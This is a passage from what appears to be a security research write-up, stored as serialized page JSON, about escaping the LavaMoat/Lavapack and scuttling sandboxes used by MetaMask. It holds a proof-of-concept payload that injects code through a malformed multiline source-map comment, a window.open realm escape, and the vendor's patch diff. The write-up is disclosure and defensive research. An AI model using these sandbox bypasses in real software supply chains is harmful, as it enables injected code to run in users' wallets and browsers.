and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":71,"props":59781,"children":59783},{"className":59782},[],[59784],{"type":29,"value":59306},{"type":29,"value":59786}," sandbox of Lavapack.",{"type":23,"tag":923,"props":59788,"children":59790},{"id":59789},"sourcemap-the-syntax-killer",[59791],{"type":29,"value":59792},"SourceMap: The Syntax Killer",{"type":23,"tag":32,"props":59794,"children":59795},{},[59796,59798,59805],{"type":29,"value":59797},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":940,"props":59799,"children":59802},{"href":59800,"rel":59801},"https://www.npmjs.com/package/convert-source-map",[944],[59803],{"type":29,"value":59804},"convert-source-map",{"type":29,"value":59806}," npm package:",{"type":23,"tag":64,"props":59808,"children":59810},{"className":42559,"code":59809,"language":42561,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[59811],{"type":23,"tag":71,"props":59812,"children":59813},{"__ignoreMap":7},[59814,59838,59880,59888,59929,59970,59998],{"type":23,"tag":75,"props":59815,"children":59816},{"class":77,"line":78},[59817,59821,59826,59830,59834],{"type":23,"tag":75,"props":59818,"children":59819},{"style":82},[59820],{"type":29,"value":85},{"type":23,"tag":75,"props":59822,"children":59823},{"style":88},[59824],{"type":29,"value":59825}," extractSourceMaps",{"type":23,"tag":75,"props":59827,"children":59828},{"style":94},[59829],{"type":29,"value":643},{"type":23,"tag":75,"props":59831,"children":59832},{"style":110},[59833],{"type":29,"value":49205},{"type":23,"tag":75,"props":59835,"children":59836},{"style":94},[59837],{"type":29,"value":193},{"type":23,"tag":75,"props":59839,"children":59840},{"class":77,"line":100},[59841,59845,59850,59854,59859,59863,59868,59872,59876],{"type":23,"tag":75,"props":59842,"children":59843},{"style":82},[59844],{"type":29,"value":47380},{"type":23,"tag":75,"props":59846,"children":59847},{"style":110},[59848],{"type":29,"value":59849}," converter",{"type":23,"tag":75,"props":59851,"children":59852},{"style":209},[59853],{"type":29,"value":1193},{"type":23,"tag":75,"props":59855,"children":59856},{"style":110},[59857],{"type":29,"value":59858}," convertSourceMap",{"type":23,"tag":75,"props":59860,"children":59861},{"style":94},[59862],{"type":29,"value":557},{"type":23,"tag":75,"props":59864,"children":59865},{"style":88},[59866],{"type":29,"value":59867},"fromSource",{"type":23,"tag":75,"props":59869,"children":59870},{"style":94},[59871],{"type":29,"value":643},{"type":23,"tag":75,"props":59873,"children":59874},{"style":110},[59875],{"type":29,"value":49205},{"type":23,"tag":75,"props":59877,"children":59878},{"style":94},[59879],{"type":29,"value":653},{"type":23,"tag":75,"props":59881,"children":59882},{"class":77,"line":121},[59883],{"type":23,"tag":75,"props":59884,"children":59885},{"style":3621},[59886],{"type":29,"value":59887},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":75,"props":59889,"children":59890},{"class":77,"line":138},[59891,59895,59900,59904,59908,59912,59916,59920,59925],{"type":23,"tag":75,"props":59892,"children":59893},{"style":82},[59894],{"type":29,"value":47380},{"type":23,"tag":75,"props":59896,"children":59897},{"style":110},[59898],{"type":29,"value":59899}," maps",{"type":23,"tag":75,"props":59901,"children":59902},{"style":209},[59903],{"type":29,"value":1193},{"type":23,"tag":75,"props":59905,"children":59906},{"style":110},[59907],{"type":29,"value":59849},{"type":23,"tag":75,"props":59909,"children":59910},{"style":209},[59911],{"type":29,"value":7889},{"type":23,"tag":75,"props":59913,"children":59914},{"style":110},[59915],{"type":29,"value":59849},{"type":23,"tag":75,"props":59917,"children":59918},{"style":94},[59919],{"type":29,"value":557},{"type":23,"tag":75,"props":59921,"children":59922},{"style":88},[59923],{"type":29,"value":59924},"toObject",{"type":23,"tag":75,"props":59926,"children":59927},{"style":94},[59928],{"type":29,"value":3249},{"type":23,"tag":75,"props":59930,"children":59931},{"class":77,"line":161},[59932,59936,59941,59945,59949,59953,59958,59962,59966],{"type":23,"tag":75,"props":59933,"children":59934},{"style":82},[59935],{"type":29,"value":47380},{"type":23,"tag":75,"props":59937,"children":59938},{"style":110},[59939],{"type":29,"value":59940}," code",{"type":23,"tag":75,"props":59942,"children":59943},{"style":209},[59944],{"type":29,"value":1193},{"type":23,"tag":75,"props":59946,"children":59947},{"style":110},[59948],{"type":29,"value":59858},{"type":23,"tag":75,"props":59950,"children":59951},{"style":94},[59952],{"type":29,"value":557},{"type":23,"tag":75,"props":59954,"children":59955},{"style":88},[59956],{"type":29,"value":59957},"removeComments",{"type":23,"tag":75,"props":59959,"children":59960},{"style":94},[59961],{"type":29,"value":643},{"type":23,"tag":75,"props":59963,"children":59964},{"style":110},[59965],{"type":29,"value":49205},{"type":23,"tag":75,"props":59967,"children":59968},{"style":94},[59969],{"type":29,"value":653},{"type":23,"tag":75,"props":59971,"children":59972},{"class":77,"line":196},[59973,59977,59981,59985,59989,59994],{"type":23,"tag":75,"props":59974,"children":59975},{"style":175},[59976],{"type":29,"value":7418},{"type":23,"tag":75,"props":59978,"children":59979},{"style":94},[59980],{"type":29,"value":20837},{"type":23,"tag":75,"props":59982,"children":59983},{"style":110},[59984],{"type":29,"value":71},{"type":23,"tag":75,"props":59986,"children":59987},{"style":94},[59988],{"type":29,"value":611},{"type":23,"tag":75,"props":59990,"children":59991},{"style":110},[59992],{"type":29,"value":59993},"maps",{"type":23,"tag":75,"props":59995,"children":59996},{"style":94},[59997],{"type":29,"value":7477},{"type":23,"tag":75,"props":59999,"children":60000},{"class":77,"line":220},[60001],{"type":23,"tag":75,"props":60002,"children":60003},{"style":94},[60004],{"type":29,"value":369},{"type":23,"tag":32,"props":60006,"children":60007},{},[60008,60010,60015,60017,60022],{"type":29,"value":60009},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":71,"props":60011,"children":60013},{"className":60012},[],[60014],{"type":29,"value":59457},{"type":29,"value":60016}," stage. Reviewing the ",{"type":23,"tag":71,"props":60018,"children":60020},{"className":60019},[],[60021],{"type":29,"value":59804},{"type":29,"value":60023}," code, we can see exactly how this happens.",{"type":23,"tag":64,"props":60025,"children":60027},{"className":42559,"code":60026,"language":42561,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[60028],{"type":23,"tag":71,"props":60029,"children":60030},{"__ignoreMap":7},[60031,60070,60096,60104,60317,60324,60331,60338,60373,60423],{"type":23,"tag":75,"props":60032,"children":60033},{"class":77,"line":78},[60034,60039,60043,60048,60052,60056,60060,60065],{"type":23,"tag":75,"props":60035,"children":60036},{"style":110},[60037],{"type":29,"value":60038},"Object",{"type":23,"tag":75,"props":60040,"children":60041},{"style":94},[60042],{"type":29,"value":557},{"type":23,"tag":75,"props":60044,"children":60045},{"style":88},[60046],{"type":29,"value":60047},"defineProperty",{"type":23,"tag":75,"props":60049,"children":60050},{"style":94},[60051],{"type":29,"value":643},{"type":23,"tag":75,"props":60053,"children":60054},{"style":104},[60055],{"type":29,"value":49077},{"type":23,"tag":75,"props":60057,"children":60058},{"style":94},[60059],{"type":29,"value":611},{"type":23,"tag":75,"props":60061,"children":60062},{"style":1266},[60063],{"type":29,"value":60064},"'commentRegex'",{"type":23,"tag":75,"props":60066,"children":60067},{"style":94},[60068],{"type":29,"value":60069},", {\n",{"type":23,"tag":75,"props":60071,"children":60072},{"class":77,"line":100},[60073,60078,60082,60086,60091],{"type":23,"tag":75,"props":60074,"children":60075},{"style":88},[60076],{"type":29,"value":60077},"  get",{"type":23,"tag":75,"props":60079,"children":60080},{"style":110},[60081],{"type":29,"value":1018},{"type":23,"tag":75,"props":60083,"children":60084},{"style":82},[60085],{"type":29,"value":49405},{"type":23,"tag":75,"props":60087,"children":60088},{"style":88},[60089],{"type":29,"value":60090}," getCommentRegex",{"type":23,"tag":75,"props":60092,"children":60093},{"style":94},[60094],{"type":29,"value":60095}," () {\n",{"type":23,"tag":75,"props":60097,"children":60098},{"class":77,"line":121},[60099],{"type":23,"tag":75,"props":60100,"children":60101},{"style":3621},[60102],{"type":29,"value":60103},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":75,"props":60105,"children":60106},{"class":77,"line":138},[60107,60111,60117,60122,60127,60132,60136,60141,60145,60150,60154,60158,60163,60168,60173,60178,60182,60186,60190,60195,60199,60204,60209,60214,60219,60223,60227,60231,60235,60239,60243,60247,60251,60256,60261,60265,60270,60275,60279,60283,60287,60291,60296,60300,60304,60308,60313],{"type":23,"tag":75,"props":60108,"children":60109},{"style":175},[60110],{"type":29,"value":355},{"type":23,"tag":75,"props":60112,"children":60114},{"style":60113},"--shiki-default:#D16969",[60115],{"type":29,"value":60116}," /",{"type":23,"tag":75,"props":60118,"children":60119},{"style":88},[60120],{"type":29,"value":60121},"^",{"type":23,"tag":75,"props":60123,"children":60124},{"style":60113},[60125],{"type":29,"value":60126},"\\s",{"type":23,"tag":75,"props":60128,"children":60129},{"style":11688},[60130],{"type":29,"value":60131},"*?\\/",{"type":23,"tag":75,"props":60133,"children":60134},{"style":1266},[60135],{"type":29,"value":814},{"type":23,"tag":75,"props":60137,"children":60138},{"style":11688},[60139],{"type":29,"value":60140},"\\/\\*",{"type":23,"tag":75,"props":60142,"children":60143},{"style":1266},[60144],{"type":29,"value":13526},{"type":23,"tag":75,"props":60146,"children":60147},{"style":60113},[60148],{"type":29,"value":60149},"@#",{"type":23,"tag":75,"props":60151,"children":60152},{"style":1266},[60153],{"type":29,"value":1610},{"type":23,"tag":75,"props":60155,"children":60156},{"style":60113},[60157],{"type":29,"value":60126},{"type":23,"tag":75,"props":60159,"children":60160},{"style":11688},[60161],{"type":29,"value":60162},"+?",{"type":23,"tag":75,"props":60164,"children":60165},{"style":60113},[60166],{"type":29,"value":60167},"sourceMappingURL=data:",{"type":23,"tag":75,"props":60169,"children":60170},{"style":1266},[60171],{"type":29,"value":60172},"(((?:",{"type":23,"tag":75,"props":60174,"children":60175},{"style":60113},[60176],{"type":29,"value":60177},"application",{"type":23,"tag":75,"props":60179,"children":60180},{"style":88},[60181],{"type":29,"value":21664},{"type":23,"tag":75,"props":60183,"children":60184},{"style":60113},[60185],{"type":29,"value":29},{"type":23,"tag":75,"props":60187,"children":60188},{"style":1266},[60189],{"type":29,"value":1347},{"type":23,"tag":75,"props":60191,"children":60192},{"style":11688},[60193],{"type":29,"value":60194},"\\/",{"type":23,"tag":75,"props":60196,"children":60197},{"style":60113},[60198],{"type":29,"value":45191},{"type":23,"tag":75,"props":60200,"children":60201},{"style":1266},[60202],{"type":29,"value":60203},")(?:",{"type":23,"tag":75,"props":60205,"children":60206},{"style":60113},[60207],{"type":29,"value":60208},";charset=",{"type":23,"tag":75,"props":60210,"children":60211},{"style":1266},[60212],{"type":29,"value":60213},"([^",{"type":23,"tag":75,"props":60215,"children":60216},{"style":60113},[60217],{"type":29,"value":60218},";,",{"type":23,"tag":75,"props":60220,"children":60221},{"style":1266},[60222],{"type":29,"value":1610},{"type":23,"tag":75,"props":60224,"children":60225},{"style":11688},[60226],{"type":29,"value":60162},{"type":23,"tag":75,"props":60228,"children":60229},{"style":1266},[60230],{"type":29,"value":1347},{"type":23,"tag":75,"props":60232,"children":60233},{"style":11688},[60234],{"type":29,"value":1225},{"type":23,"tag":75,"props":60236,"children":60237},{"style":1266},[60238],{"type":29,"value":1347},{"type":23,"tag":75,"props":60240,"children":60241},{"style":11688},[60242],{"type":29,"value":1225},{"type":23,"tag":75,"props":60244,"children":60245},{"style":1266},[60246],{"type":29,"value":1347},{"type":23,"tag":75,"props":60248,"children":60249},{"style":11688},[60250],{"type":29,"value":1225},{"type":23,"tag":75,"props":60252,"children":60253},{"style":1266},[60254],{"type":29,"value":60255},"(?:",{"type":23,"tag":75,"props":60257,"children":60258},{"style":60113},[60259],{"type":29,"value":60260},";",{"type":23,"tag":75,"props":60262,"children":60263},{"style":1266},[60264],{"type":29,"value":643},{"type":23,"tag":75,"props":60266,"children":60267},{"style":60113},[60268],{"type":29,"value":60269},"base64",{"type":23,"tag":75,"props":60271,"children":60272},{"style":1266},[60273],{"type":29,"value":60274},"))",{"type":23,"tag":75,"props":60276,"children":60277},{"style":11688},[60278],{"type":29,"value":1225},{"type":23,"tag":75,"props":60280,"children":60281},{"style":60113},[60282],{"type":29,"value":15398},{"type":23,"tag":75,"props":60284,"children":60285},{"style":1266},[60286],{"type":29,"value":643},{"type":23,"tag":75,"props":60288,"children":60289},{"style":60113},[60290],{"type":29,"value":557},{"type":23,"tag":75,"props":60292,"children":60293},{"style":11688},[60294],{"type":29,"value":60295},"*?",{"type":23,"tag":75,"props":60297,"children":60298},{"style":1266},[60299],{"type":29,"value":1347},{"type":23,"tag":75,"props":60301,"children":60302},{"style":88},[60303],{"type":29,"value":21536},{"type":23,"tag":75,"props":60305,"children":60306},{"style":60113},[60307],{"type":29,"value":5647},{"type":23,"tag":75,"props":60309,"children":60310},{"style":82},[60311],{"type":29,"value":60312},"mg",{"type":23,"tag":75,"props":60314,"children":60315},{"style":94},[60316],{"type":29,"value":245},{"type":23,"tag":75,"props":60318,"children":60319},{"class":77,"line":161},[60320],{"type":23,"tag":75,"props":60321,"children":60322},{"style":94},[60323],{"type":29,"value":17141},{"type":23,"tag":75,"props":60325,"children":60326},{"class":77,"line":196},[60327],{"type":23,"tag":75,"props":60328,"children":60329},{"style":94},[60330],{"type":29,"value":46532},{"type":23,"tag":75,"props":60332,"children":60333},{"class":77,"line":220},[60334],{"type":23,"tag":75,"props":60335,"children":60336},{"emptyLinePlaceholder":15},[60337],{"type":29,"value":276},{"type":23,"tag":75,"props":60339,"children":60340},{"class":77,"line":248},[60341,60345,60349,60353,60357,60361,60365,60369],{"type":23,"tag":75,"props":60342,"children":60343},{"style":104},[60344],{"type":29,"value":49077},{"type":23,"tag":75,"props":60346,"children":60347},{"style":94},[60348],{"type":29,"value":557},{"type":23,"tag":75,"props":60350,"children":60351},{"style":88},[60352],{"type":29,"value":59957},{"type":23,"tag":75,"props":60354,"children":60355},{"style":209},[60356],{"type":29,"value":1193},{"type":23,"tag":75,"props":60358,"children":60359},{"style":82},[60360],{"type":29,"value":49405},{"type":23,"tag":75,"props":60362,"children":60363},{"style":94},[60364],{"type":29,"value":183},{"type":23,"tag":75,"props":60366,"children":60367},{"style":110},[60368],{"type":29,"value":43863},{"type":23,"tag":75,"props":60370,"children":60371},{"style":94},[60372],{"type":29,"value":193},{"type":23,"tag":75,"props":60374,"children":60375},{"class":77,"line":270},[60376,60380,60384,60388,60393,60397,60401,60405,60410,60414,60419],{"type":23,"tag":75,"props":60377,"children":60378},{"style":175},[60379],{"type":29,"value":7418},{"type":23,"tag":75,"props":60381,"children":60382},{"style":110},[60383],{"type":29,"value":59553},{"type":23,"tag":75,"props":60385,"children":60386},{"style":94},[60387],{"type":29,"value":557},{"type":23,"tag":75,"props":60389,"children":60390},{"style":88},[60391],{"type":29,"value":60392},"replace",{"type":23,"tag":75,"props":60394,"children":60395},{"style":94},[60396],{"type":29,"value":643},{"type":23,"tag":75,"props":60398,"children":60399},{"style":104},[60400],{"type":29,"value":49077},{"type":23,"tag":75,"props":60402,"children":60403},{"style":94},[60404],{"type":29,"value":557},{"type":23,"tag":75,"props":60406,"children":60407},{"style":110},[60408],{"type":29,"value":60409},"commentRegex",{"type":23,"tag":75,"props":60411,"children":60412},{"style":94},[60413],{"type":29,"value":611},{"type":23,"tag":75,"props":60415,"children":60416},{"style":1266},[60417],{"type":29,"value":60418},"''",{"type":23,"tag":75,"props":60420,"children":60421},{"style":94},[60422],{"type":29,"value":15099},{"type":23,"tag":75,"props":60424,"children":60425},{"class":77,"line":279},[60426],{"type":23,"tag":75,"props":60427,"children":60428},{"style":94},[60429],{"type":29,"value":27801},{"type":23,"tag":32,"props":60431,"children":60432},{},[60433,60435,60441],{"type":29,"value":60434},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":71,"props":60436,"children":60438},{"className":60437},[],[60439],{"type":29,"value":60440},"/*",{"type":29,"value":60442},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":923,"props":60444,"children":60446},{"id":60445},"the-bypass",[60447],{"type":29,"value":60448},"The Bypass",{"type":23,"tag":32,"props":60450,"children":60451},{},[60452,60454,60459,60461,60466],{"type":29,"value":60453},"By abusing the ",{"type":23,"tag":71,"props":60455,"children":60457},{"className":60456},[],[60458],{"type":29,"value":59957},{"type":29,"value":60460}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":71,"props":60462,"children":60464},{"className":60463},[],[60465],{"type":29,"value":59306},{"type":29,"value":60467}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":64,"props":60469,"children":60471},{"className":42559,"code":60470,"language":42561,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[60472],{"type":23,"tag":71,"props":60473,"children":60474},{"__ignoreMap":7},[60475,60483,60490,60498,60506,60514,60522,60530,60538,60545,60553],{"type":23,"tag":75,"props":60476,"children":60477},{"class":77,"line":78},[60478],{"type":23,"tag":75,"props":60479,"children":60480},{"style":3621},[60481],{"type":29,"value":60482},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":75,"props":60484,"children":60485},{"class":77,"line":100},[60486],{"type":23,"tag":75,"props":60487,"children":60488},{"emptyLinePlaceholder":15},[60489],{"type":29,"value":276},{"type":23,"tag":75,"props":60491,"children":60492},{"class":77,"line":121},[60493],{"type":23,"tag":75,"props":60494,"children":60495},{"style":3621},[60496],{"type":29,"value":60497},"}}}}\n",{"type":23,"tag":75,"props":60499,"children":60500},{"class":77,"line":138},[60501],{"type":23,"tag":75,"props":60502,"children":60503},{"style":3621},[60504],{"type":29,"value":60505},"}, {\n",{"type":23,"tag":75,"props":60507,"children":60508},{"class":77,"line":161},[60509],{"type":23,"tag":75,"props":60510,"children":60511},{"style":3621},[60512],{"type":29,"value":60513},"    package: \"xpl\",\n",{"type":23,"tag":75,"props":60515,"children":60516},{"class":77,"line":196},[60517],{"type":23,"tag":75,"props":60518,"children":60519},{"style":3621},[60520],{"type":29,"value":60521},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":75,"props":60523,"children":60524},{"class":77,"line":220},[60525],{"type":23,"tag":75,"props":60526,"children":60527},{"style":3621},[60528],{"type":29,"value":60529},"    test: alert(document.domain),\n",{"type":23,"tag":75,"props":60531,"children":60532},{"class":77,"line":248},[60533],{"type":23,"tag":75,"props":60534,"children":60535},{"style":3621},[60536],{"type":29,"value":60537},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":75,"props":60539,"children":60540},{"class":77,"line":270},[60541],{"type":23,"tag":75,"props":60542,"children":60543},{"emptyLinePlaceholder":15},[60544],{"type":29,"value":276},{"type":23,"tag":75,"props":60546,"children":60547},{"class":77,"line":279},[60548],{"type":23,"tag":75,"props":60549,"children":60550},{"style":3621},[60551],{"type":29,"value":60552},"/*\n",{"type":23,"tag":75,"props":60554,"children":60555},{"class":77,"line":303},[60556],{"type":23,"tag":75,"props":60557,"children":60558},{"style":3621},[60559],{"type":29,"value":60560},"*/\n",{"type":23,"tag":32,"props":60562,"children":60563},{},[60564],{"type":29,"value":60565},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":923,"props":60567,"children":60569},{"id":60568},"lavapack-patch",[60570],{"type":29,"value":60571},"Lavapack Patch",{"type":23,"tag":32,"props":60573,"children":60574},{},[60575,60577,60583],{"type":29,"value":60576},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":71,"props":60578,"children":60580},{"className":60579},[],[60581],{"type":29,"value":60582},"assertValidJS",{"type":29,"value":60584},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":32,"props":60586,"children":60587},{},[60588,60590,60597],{"type":29,"value":60589},"The patch was introduced in commit ",{"type":23,"tag":940,"props":60591,"children":60594},{"href":60592,"rel":60593},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[944],[60595],{"type":29,"value":60596},"9c38cd4",{"type":29,"value":557},{"type":23,"tag":64,"props":60599,"children":60601},{"className":51550,"code":60600,"language":51552,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[60602],{"type":23,"tag":71,"props":60603,"children":60604},{"__ignoreMap":7},[60605,60613,60621,60629,60637,60645,60653,60661,60668,60676],{"type":23,"tag":75,"props":60606,"children":60607},{"class":77,"line":78},[60608],{"type":23,"tag":75,"props":60609,"children":60610},{"style":237},[60611],{"type":29,"value":60612},"+ function assertValidJS(code) {\n",{"type":23,"tag":75,"props":60614,"children":60615},{"class":77,"line":100},[60616],{"type":23,"tag":75,"props":60617,"children":60618},{"style":237},[60619],{"type":29,"value":60620},"+  try {\n",{"type":23,"tag":75,"props":60622,"children":60623},{"class":77,"line":121},[60624],{"type":23,"tag":75,"props":60625,"children":60626},{"style":237},[60627],{"type":29,"value":60628},"+    new Function(code)\n",{"type":23,"tag":75,"props":60630,"children":60631},{"class":77,"line":138},[60632],{"type":23,"tag":75,"props":60633,"children":60634},{"style":237},[60635],{"type":29,"value":60636},"+  } catch (err) {\n",{"type":23,"tag":75,"props":60638,"children":60639},{"class":77,"line":161},[60640],{"type":23,"tag":75,"props":60641,"children":60642},{"style":237},[60643],{"type":29,"value":60644},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":75,"props":60646,"children":60647},{"class":77,"line":196},[60648],{"type":23,"tag":75,"props":60649,"children":60650},{"style":237},[60651],{"type":29,"value":60652},"+  }\n",{"type":23,"tag":75,"props":60654,"children":60655},{"class":77,"line":220},[60656],{"type":23,"tag":75,"props":60657,"children":60658},{"style":237},[60659],{"type":29,"value":60660},"+ }\n",{"type":23,"tag":75,"props":60662,"children":60663},{"class":77,"line":248},[60664],{"type":23,"tag":75,"props":60665,"children":60666},{"emptyLinePlaceholder":15},[60667],{"type":29,"value":276},{"type":23,"tag":75,"props":60669,"children":60670},{"class":77,"line":270},[60671],{"type":23,"tag":75,"props":60672,"children":60673},{"style":237},[60674],{"type":29,"value":60675},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":75,"props":60677,"children":60678},{"class":77,"line":279},[60679],{"type":23,"tag":75,"props":60680,"children":60681},{"style":237},[60682],{"type":29,"value":60683},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":24,"props":60685,"children":60687},{"id":60686},"hacking-js-realms",[60688],{"type":29,"value":60689},"Hacking JS Realms",{"type":23,"tag":32,"props":60691,"children":60692},{},[60693,60695,60700],{"type":29,"value":60694},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":71,"props":60696,"children":60698},{"className":60697},[],[60699],{"type":29,"value":48608},{"type":29,"value":60701}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":64,"props":60703,"children":60705},{"className":42559,"code":60704,"language":42561,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[60706],{"type":23,"tag":71,"props":60707,"children":60708},{"__ignoreMap":7},[60709,60751],{"type":23,"tag":75,"props":60710,"children":60711},{"class":77,"line":78},[60712,60716,60721,60725,60729,60733,60738,60742,60747],{"type":23,"tag":75,"props":60713,"children":60714},{"style":82},[60715],{"type":29,"value":2869},{"type":23,"tag":75,"props":60717,"children":60718},{"style":110},[60719],{"type":29,"value":60720}," w",{"type":23,"tag":75,"props":60722,"children":60723},{"style":209},[60724],{"type":29,"value":1193},{"type":23,"tag":75,"props":60726,"children":60727},{"style":110},[60728],{"type":29,"value":42603},{"type":23,"tag":75,"props":60730,"children":60731},{"style":94},[60732],{"type":29,"value":557},{"type":23,"tag":75,"props":60734,"children":60735},{"style":88},[60736],{"type":29,"value":60737},"open",{"type":23,"tag":75,"props":60739,"children":60740},{"style":94},[60741],{"type":29,"value":643},{"type":23,"tag":75,"props":60743,"children":60744},{"style":1266},[60745],{"type":29,"value":60746},"'/non_existent'",{"type":23,"tag":75,"props":60748,"children":60749},{"style":94},[60750],{"type":29,"value":15099},{"type":23,"tag":75,"props":60752,"children":60753},{"class":77,"line":100},[60754,60759,60763,60767,60771,60775,60779,60783],{"type":23,"tag":75,"props":60755,"children":60756},{"style":110},[60757],{"type":29,"value":60758},"w",{"type":23,"tag":75,"props":60760,"children":60761},{"style":94},[60762],{"type":29,"value":557},{"type":23,"tag":75,"props":60764,"children":60765},{"style":88},[60766],{"type":29,"value":43891},{"type":23,"tag":75,"props":60768,"children":60769},{"style":94},[60770],{"type":29,"value":643},{"type":23,"tag":75,"props":60772,"children":60773},{"style":110},[60774],{"type":29,"value":43901},{"type":23,"tag":75,"props":60776,"children":60777},{"style":94},[60778],{"type":29,"value":557},{"type":23,"tag":75,"props":60780,"children":60781},{"style":110},[60782],{"type":29,"value":43911},{"type":23,"tag":75,"props":60784,"children":60785},{"style":94},[60786],{"type":29,"value":653},{"type":23,"tag":32,"props":60788,"children":60789},{},[60790,60792,60797],{"type":29,"value":60791},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":71,"props":60793,"children":60795},{"className":60794},[],[60796],{"type":29,"value":48608},{"type":29,"value":60798}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":32,"props":60800,"children":60801},{},[60802,60804,60811],{"type":29,"value":60803},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":940,"props":60805,"children":60808},{"href":60806,"rel":60807},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[944],[60809],{"type":29,"value":60810},"Metamask implementation",{"type":29,"value":1347},{"type":23,"tag":923,"props":60813,"children":60815},{"id":60814},"snowjs-attack-surface",[60816],{"type":29,"value":60817},"SnowJS Attack Surface",{"type":23,"tag":32,"props":60819,"children":60820},{},[60821],{"type":29,"value":60822},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":32,"props":60824,"children":60825},{},[60826,60828,60835],{"type":29,"value":60827},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":940,"props":60829,"children":60832},{"href":60830,"rel":60831},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[944],[60833],{"type":29,"value":60834},"hooked inserters",{"type":29,"value":60836}," functions:",{"type":23,"tag":64,"props":60838,"children":60840},{"className":42559,"code":60839,"language":42561,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[60841],{"type":23,"tag":71,"props":60842,"children":60843},{"__ignoreMap":7},[60844,60863,60884,60923,60977,61016,61115,61135,61156],{"type":23,"tag":75,"props":60845,"children":60846},{"class":77,"line":78},[60847,60851,60855,60859],{"type":23,"tag":75,"props":60848,"children":60849},{"style":82},[60850],{"type":29,"value":2869},{"type":23,"tag":75,"props":60852,"children":60853},{"style":110},[60854],{"type":29,"value":1596},{"type":23,"tag":75,"props":60856,"children":60857},{"style":209},[60858],{"type":29,"value":1193},{"type":23,"tag":75,"props":60860,"children":60861},{"style":94},[60862],{"type":29,"value":401},{"type":23,"tag":75,"props":60864,"children":60865},{"class":77,"line":100},[60866,60871,60875,60880],{"type":23,"tag":75,"props":60867,"children":60868},{"style":110},[60869],{"type":29,"value":60870},"    Range:",{"type":23,"tag":75,"props":60872,"children":60873},{"style":94},[60874],{"type":29,"value":34247},{"type":23,"tag":75,"props":60876,"children":60877},{"style":1266},[60878],{"type":29,"value":60879},"'insertNode'",{"type":23,"tag":75,"props":60881,"children":60882},{"style":94},[60883],{"type":29,"value":1144},{"type":23,"tag":75,"props":60885,"children":60886},{"class":77,"line":121},[60887,60892,60896,60901,60905,60910,60914,60919],{"type":23,"tag":75,"props":60888,"children":60889},{"style":110},[60890],{"type":29,"value":60891},"    